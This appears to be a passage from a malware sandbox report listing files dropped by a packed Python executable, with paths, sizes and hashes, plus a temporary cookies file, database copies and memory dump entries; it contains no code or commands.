                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\_uuid.pyd
                                                                                    • Size 24KB
                                                                                    • SHA256 27b9545f5a510e71195951485d3c6a8b112917546fe5e8e46579b8ff6ce2acb0
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _http_parser.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\aiohttp\_http_parser.pyd
                                                                                    • Size 247KB
                                                                                    • SHA256 511cd7062151ae724f1f194d009caa38cf0c2bbfac709b5476dcc8354a0575ed
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _http_writer.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\aiohttp\_http_writer.pyd
                                                                                    • Size 44KB
                                                                                    • SHA256 6d2b1bffc5ceb0322b9a924516bac95bbbc91ca0842c20408a6758fb2ba2d5dc
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    mask.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\aiohttp\_websocket\mask.pyd
                                                                                    • Size 34KB
                                                                                    • SHA256 1904ebaef453f681cca022fd4e6ae88930fedec16e30b87797cbe72f5b371944
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    reader_c.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\aiohttp\_websocket\reader_c.pyd
                                                                                    • Size 138KB
                                                                                    • SHA256 3efc2e02a76c14b85eb5aa6beeebe4604cf30c1b957f972c877b10578a635ffb
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    davey.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\davey\davey.pyd
                                                                                    • Size 1.8MB
                                                                                    • SHA256 eb83b23fafae5730b0560e8bf7072c433108a606c047e5088718264b324968c4
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _frozenlist.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\frozenlist\_frozenlist.pyd
                                                                                    • Size 66KB
                                                                                    • SHA256 cb0227473d0c9e53c49fd548b539522a73e5ba7fc02ba7702ef45db8da7b4119
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    libcrypto-1_1.dll
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\libcrypto-1_1.dll
                                                                                    • Size 3.3MB
                                                                                    • SHA256 9b7b4a0ad212095a8c2e35c71694d8a1764cd72a829e8e17c8afe3a55f147939
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    libffi-8.dll
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\libffi-8.dll
                                                                                    • Size 38KB
                                                                                    • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    libssl-1_1.dll
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\libssl-1_1.dll
                                                                                    • Size 688KB
                                                                                    • SHA256 d74ce01319ae6f54483a19375524aa39d9f5fd91f06cf7df238ca25e043130fd
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _multidict.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\multidict\_multidict.pyd
                                                                                    • Size 77KB
                                                                                    • SHA256 f92555975df808e8f4ba64e60af52ba32ccdebc69aa4dcca23d54d098dcb5d74
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _sodium.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\nacl\_sodium.pyd
                                                                                    • Size 396KB
                                                                                    • SHA256 57822e7aed944269943bcb855fc14560a5b6ae38869de4e3d00c380a5119ecc7
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _helpers_c.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\propcache\_helpers_c.pyd
                                                                                    • Size 59KB
                                                                                    • SHA256 665a77de007b7f37699ba3f97fb58f7664b64d5c047eaf40720bf888d6846caa
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    python3.dll
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\python3.dll
                                                                                    • Size 65KB
                                                                                    • SHA256 95086ac060ffe6933ac04a6aa289b1c7d321f14380315e24ba0d6c4adfa0842b
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    python311.dll
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\python311.dll
                                                                                    • Size 5.5MB
                                                                                    • SHA256 c4844b05e3a936b130adedb854d3c04d49ee54edb43e9d36f8c4ae94ccb78400
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    select.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\select.pyd
                                                                                    • Size 29KB
                                                                                    • SHA256 13e4d9a734a453a3613e11b6a518430099ad7e3d874ea407d1f9625b7f60268a
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    unicodedata.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\unicodedata.pyd
                                                                                    • Size 1.1MB
                                                                                    • SHA256 e36d14cf49ca2af44fae8f278e883341167bc380099dac803276a11e57c9cfa1
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    win32api.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\win32api.pyd
                                                                                    • Size 135KB
                                                                                    • SHA256 cd9ec02d502dc1548233aa2efe9fcbf47e4677b28c169553f36194a50f55ff28
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _quoting_c.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\yarl\_quoting_c.pyd
                                                                                    • Size 79KB
                                                                                    • SHA256 829484c150e37c06dc93197518bdd0f2d0b78387cee3c879a0dab86a60281ad3
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    backend_c.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4328_438402_BEYED_s_krs\zstandard\backend_c.pyd
                                                                                    • Size 512KB
                                                                                    • SHA256 35f7bfe8d1965fc33c090febd216a4ef5c3a8b22ce02a689226a3776cc295317
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    cd.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_4976_765982_wdqG735pl0E\charset_normalizer\cd.pyd
                                                                                    • Size 10KB
                                                                                    • SHA256 45a9cb1664e2e26ea183d34652869a6a7183b0b2018e151da1e3c88213e8bc8c
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    tmp6cmp6jhe_cookies.txt
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\tmp6cmp6jhe_cookies.txt
                                                                                    • Size 232B
                                                                                    • SHA256 61df754ce3457710afa807a21820f0726d50dbb4d12047cc90527279de4a3f24
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    tmppkw0b7v1.db
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\tmppkw0b7v1.db
                                                                                    • Size 138KB
                                                                                    • SHA256 571d574ad4378fe909fed1f4c7ae210b180e511c727d91aa4b5dfc036c699ae8
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    tmptgk9b7gy.db
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\tmptgk9b7gy.db
                                                                                    • Size 40KB
                                                                                    • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    tmpu4hu7sn3.db
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\tmpu4hu7sn3.db
                                                                                    • Size 20KB
                                                                                    • SHA256 14a0bc757774e23b0649234b862ff83cc92ca88d3bb2f998619e5c0a9176a0b5
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    memory/1536-250-0x0000021EFD650000-0x0000021EFD672000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-215-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-1208-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-1982-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-525-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-240-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-618-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-199-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-659-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-1179-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-1852-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-1246-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-1824-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/2964-1001-0x00000215EEEB0000-0x00000215F489B000-memory.dmp
                                                                                    Download

                                                                                    memory/4488-586-0x0000025CCD270000-0x0000025CCD27E000-memory.dmp
                                                                                    Download

                                                                                    memory/4488-587-0x0000025CCD2A0000-0x0000025CCD2BA000-memory.dmp
                                                                                    Download

                                                                                    memory/5204-1088-0x00007FFB236F0000-0x00007FFB23773000-memory.dmp
                                                                                    Download

                                                                                    memory/5600-1946-0x00007FF77DD50000-0x00007FF77DDC1000-memory.dmp
                                                                                    Download